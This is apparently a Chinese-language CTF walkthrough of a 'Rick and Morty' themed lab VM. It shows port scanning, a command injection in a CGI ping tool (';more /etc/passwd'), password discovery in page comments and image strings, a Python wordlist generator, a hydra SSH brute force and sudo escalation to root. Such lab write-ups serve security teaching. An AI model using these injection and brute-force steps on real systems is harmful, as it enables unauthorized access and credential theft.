端口
nmap主机发现
nmap -sn 192.168.60.213/24 Nmap scan report for 192.168.60.213 Host is up (0.00020s latency). 213是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn -p- 192.168.60.213 --min-rate 10000 -oA nmap/scan 扫描开放端口保存到 nmap/scan下 一定要养成好习惯扫描全端口 21/tcp open ftp 22/tcp open ssh 80/tcp open http 9090/tcp open zeus-admin 13337/tcp open unknown 22222/tcp open easyengine 60000/tcp open unknown
nmap -sT -sC -sV -O -p22,21,80,9090,13337,22222,60000 -oA nmap/scan 192.168.60.213详细端口扫描: -sT:完整tcp连接 -sC:默认脚本扫描 -sV:服务版本探测 -O:系统信息探测 PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.203.47 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 0 0 42 Aug 22 2017 FLAG.txt |_drwxr-xr-x 2 0 0 6 Feb 12 2017 pub 22/tcp open tcpwrapped 80/tcp open http Apache httpd 2.4.27 ((Fedora)) |_http-server-header: Apache/2.4.27 (Fedora) |_http-title: Morty's Website | http-methods: |_ Potentially risky methods: TRACE 9090/tcp open http Cockpit web service 161 or earlier |_http-title: Did not follow redirect to https://192.168.203.213:9090/ 13337/tcp open tcpwrapped 22222/tcp open ssh OpenSSH 7.5 (protocol 2.0) | ssh-hostkey: | 2048 b411567fc036967cd099dd539522974f (RSA) | 256 2067edd93988f9ed0daf8c8e8a456e0e (ECDSA) |_ 256 a684fa0fdfe0dce29a2de7133ce750a9 (ED25519) 60000/tcp open tcpwrapped 简单分析以下: 21:ftp可匿名登录、并且已经扫到一个flag 22、13337、60000:自己开的服务 80、9090:web网页服务
立足点
ftp
之前nmap已经扫到ftp下的FLAG.txt文件,ftp可以匿名登陆,账号密码都为Anonymous登陆一下,就能能拿到flag FLAG{Whoa this is unexpected} - 10 Point
22端口
nc 连接一下 nc 192.168.60.213 22 结果只有一行输出: Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86_64)
13337端口
nc 连接一下 nc 192.168.60.213 13337 直接输出一个flag: FLAG:{TheyFoundMyBackDoorMorty}-10Points
60000端口
nc 连接一下 nc 192.168.60.213 60000 直接一个shell: Welcome to Ricks half baked reverse shell... ls查看当前目录,发现一个FLAG.txt 又获得一个: FLAG{Flip the pickle Morty!} - 10 Points
9090端口
网页查看一下 直接一个flag写在页面上,其他就没有任何可以利用的东西: 9090:FLAG {There is no Zeus, in your face!} - 10 Points
80端口
网页查看一下:什么都没有,页面源代码也什么都没有 扫一下目录 gobuster dir -u http://192.168.60.213/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt --add-slash /.html/ (Status: 403) [Size: 215] /cgi-bin/ (Status: 403) [Size: 217] /icons/ (Status: 200) [Size: 74199] /passwords/ (Status: 200) [Size: 1105] /.html/ (Status: 403) [Size: 215] 一个一个看: /cgi-bin/页面显示禁止访问 /password/直接给出一个文件目录,如下图 其他没有什么信息
拿到一个flag:FLAG{Yeah d- just don't do it.} - 10 Points
看看passwords.html内容:显示页面:
Wow Morty real clever. Storing passwords in a file called passwords.html? You've really done it this time Morty. Let me at least hide them.. I'd delete them entirely but I know you'd go bitching to your mom. That's the last thing I need.再看看源代码页面发现有个注释非常关键:
<!--Password: winter-->
没有什么内容了,但是robots.txt文件还没查看查一查发现以下内容:
They're Robots Morty! It's ok to shoot them! They're just Robots!
/cgi-bin/root_shell.cgi
/cgi-bin/tracertool.cgi
/cgi-bin/*root_shell.cgi和tracertool.cgi分别访问以下:
root_shell.cgi是作者的恶作剧,显示:
--UNDER CONSTRUCTION--
<!--HAAHAHAHAAHHAaAAAGGAgaagAGAGAGG-->
<!--I'm sorry Morty. It's a bummer.-->看看tracertool.cgi:
是个调用ping命令的接口,通过此接口我们可以像目标机器执行命令,但貌似仅限于查看一些敏感文件,不存在反弹shell和遍历目录,仅对一部分命令有回显,那我们看敏感文件
执行: ;cat /etc/passwd
如下图:
作者竟然把cat命令换成了输出一个🐱,我们只能查看其他能代替的命令如more ;more /etc/passwd :::::::::::::: /etc/passwd :::::::::::::: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-coredump:x:999:998:systemd Core Dumper:/:/sbin/nologin systemd-timesync:x:998:997:systemd Time Synchronization:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:997:996:User for polkitd:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin abrt:x:173:173::/etc/abrt:/sbin/nologin cockpit-ws:x:996:994:User for cockpit-ws:/:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin chrony:x:995:993::/var/lib/chrony:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin RickSanchez:x:1000:1000::/home/RickSanchez:/bin/bash Morty:x:1001:1001::/home/Morty:/bin/bash Summer:x:1002:1002::/home/Summer:/bin/bash apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin 简单分析一下:只有三个用户没有/sbin/nologin标志,分别是RickSanchez、Morty、Summer,推断他们是管理员创建的用户 我们直接利用之前passwords.html的源代码页面注释给出的密码:winter进行尝试,用户不多,加上root一共4个,我们手动尝试即可 发现Summer可以通过ssh和密码winter登录成功 ssh Summer@192.168.60.213 -p 22222 password:winter
在没打点之前,我们已经拿下如下flag
13337:FLAG:{TheyFoundMyBackDoorMorty}-10Points 60000:FLAG{Flip the pickle Morty!} - 10 Points ftp:FLAG{Whoa this is unexpected} - 10 Points password:FLAG{Yeah d- just don't do it.} - 10 Points 9090:FLAG {There is no Zeus, in your face!} - 10 Points
提权
登录Summer后ls以下,发现/home/Summer目录下又有一个flag summer:FLAG{Get off the high road Summer!} - 10 Points
信息枚举
sudo -l:没有权限 cat /etc/crontab:什么都没有 find / -perm -u=s -type f 2>/dev/null:查询suid具有s位的可执行文件,没有任何利用 内核漏洞提权:没有gcc 其他可以提权的服务都没有部署 我们只能收集敏感信息一步步探索了
用户目录查看
之前发现过有3个管理员创建的用户: 一次看看他们的目录,记住养成好习惯使用 ls -la查看其权限和目录中的隐藏文件,虽然后续不一定会用到 结果如下: /home/Morty下两个文件: -rw-r--r--. 1 root root 414 8月 22 2017 journal.txt.zip -rw-r--r--. 1 root root 43145 8月 22 2017 Safe_Password.jpg /home/Rick下两个文件夹: drwxr-xr-x. 2 RickSanchez RickSanchez 18 9月 21 2017 RICKS_SAFE drwxrwxr-x. 2 RickSanchez RickSanchez 26 8月 18 2017 ThisDoesntContainAnyFlags 文件夹下目录: RICKS_SAFE:safe一个可执行文件 ThisDoesntContainAnyFlags:NotAFlag.txt一个文本文件
先看一下RickSanchez用户下的内容
NotAFlag.txt(没什么用):But seriously this isn't a flag.. safe没有权限执行,但是有读的权限,我们直接拷贝到能写的目录,修改权限,直接执行: Past Rick to present Rick, tell future Rick to use GOD DAMN COMMAND LINE AAAAAHHAHAGGGGRRGUMENTS! 解析:不知道是什么意思
再看一看Morty用户下的内容
unzip journal.txt.zip 发现需要密码 exiftools解析一下Safe_Password.jpg,没有任何内容,但观察这个图片的文件名,可以知道其可能存放着密码,直接strings查看文件中出现的字符串,发现密码 strings Safe_Password.jpg 文件中存在以下字符串: 8 The Safe Password: File: /home/Morty/journal.txt.zip. Password: Meeseek
发现密码Meeseek,因为此密码存在于Morty目录,很可能这个密码就是journal.txt.zip的解压密码,这个猜想是正确的,我们直接解压出来journal.txt,发现: Monday: So today Rick told me huge secret. He had finished his flask and was on to commercial grade paint solvent. He spluttered something about a safe, and a password. Or maybe it was a safe password... Was a password that was safe? Or a password to a safe? Or a safe password to a safe? Anyway. Here it is: FLAG: {131333} - 20 Points 拿到flag 我们翻译一下: 星期一:今天 Rick 告诉了我一个大秘密。他用完了他的烧瓶,开始使用商用级油漆溶剂。他结结巴巴地说了一些关于保险箱和密码的事情。或者也许这是一个保险箱密码……这是一个安全的密码吗?或者是保险箱的密码?或者是保险箱的安全密码? 无论如何。它在这里:FLAG: {131333} - 20 Points 分析: 密码可能就是131333,而且是rick正在使用的,既然是rick正在使用的密码,那么这个密码究竟应用在rick的什么的地方呢? 也许我们会从rick的目录中获取答案
rick密码获取
我们之前看过rick目录,一共两个文件: RICKS_SAFE目录下:safe一个可执行文件 ThisDoesntContainAnyFlags目录下:NotAFlag.txt一个文本文件 NotAFlag.txt没什么用,只能尝试将rick使用的131333密码与safe相关联 额,直接尝试参数传递一下,发现rick新秘密:
decrypt: FLAG{And Awwwaaaaayyyy we Go!} - 20 Points Ricks password hints: (This is incase I forget.. I just hope I don't forget how to write a script to generate potential passwords. Also, sudo is wheely good.) Follow these clues, in order 1 uppercase character 1 digit One of the words in my old bands name.� @
翻译一下: 解密:FLAG{And Awwwaaaaayyyy we Go!} - 20 分 Ricks 密码提示: (这是以防我忘记……我只是希望我不会忘记如何编写脚本来生成潜在密码。此外,sudo 也很棒。) 按照这些线索依次操作 1 个大写字符 1 个数字 我以前乐队名字中的一个单词。@ 解析: 拿到flag 获取信息:Ricks的密码=1个大写字母 + 1个数字 + 1个单词(这个单词是Ricks乐队中的一个单词) 我们通过google搜索Ricks发现他是国外一个动画的人物,他的乐队是The Flesh Curtains 整理一下我们可以得到:Ricks的密码=1个大写字母 + 1个数字 + 1个单词(Flesh/Curtains)
密码字典的生成
我们将rick的密码,按照他说的规则写成一个字典,如下: A0Flesh A1Flesh A2Flesh A3Flesh A4Flesh A5Flesh A6Flesh A7Flesh A8Flesh A9Flesh B0Flesh B1Flesh ...... 我们使用python脚本编写,并存放到文件wordlists.txt中:
words = ['Flesh','flesh','Curtains','curtains']
with open('wordlists.txt','w') as f:
arr = []
for word in words:
characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
numbers = '0123456789'
for char in characters:
for num in numbers:
arr.append(char + num + word + '\n')
f.write(char + num + word + '\n')
print(arr)
rick密码爆破
获得字典后直接尝试使用此字典登录ssh hydra -l RickSanchez -P wordlists.txt 192.168.60.213 -s 22222 ssh 爆破出来了: [22222][ssh] host: 192.168.60.213 login: RickSanchez password: P7Curtains
登录后
sudo -l 发现sudo可执行任何文件: 直接sudo /bin/bash成为root 再/root/目录下发现flag: FLAG: {Ionic Defibrillator} - 30 points
我们在打点后获取到的flag
summer:FLAG{Get off the high road Summer!} - 10 Points journal.txt:FLAG: {131333} - 20 Points ./safe 131333:FLAG{And Awwwaaaaayyyy we Go!} - 20 Points FLAG: {Ionic Defibrillator} - 30 points 再加上之前的5个flag,一共9个flag总共130分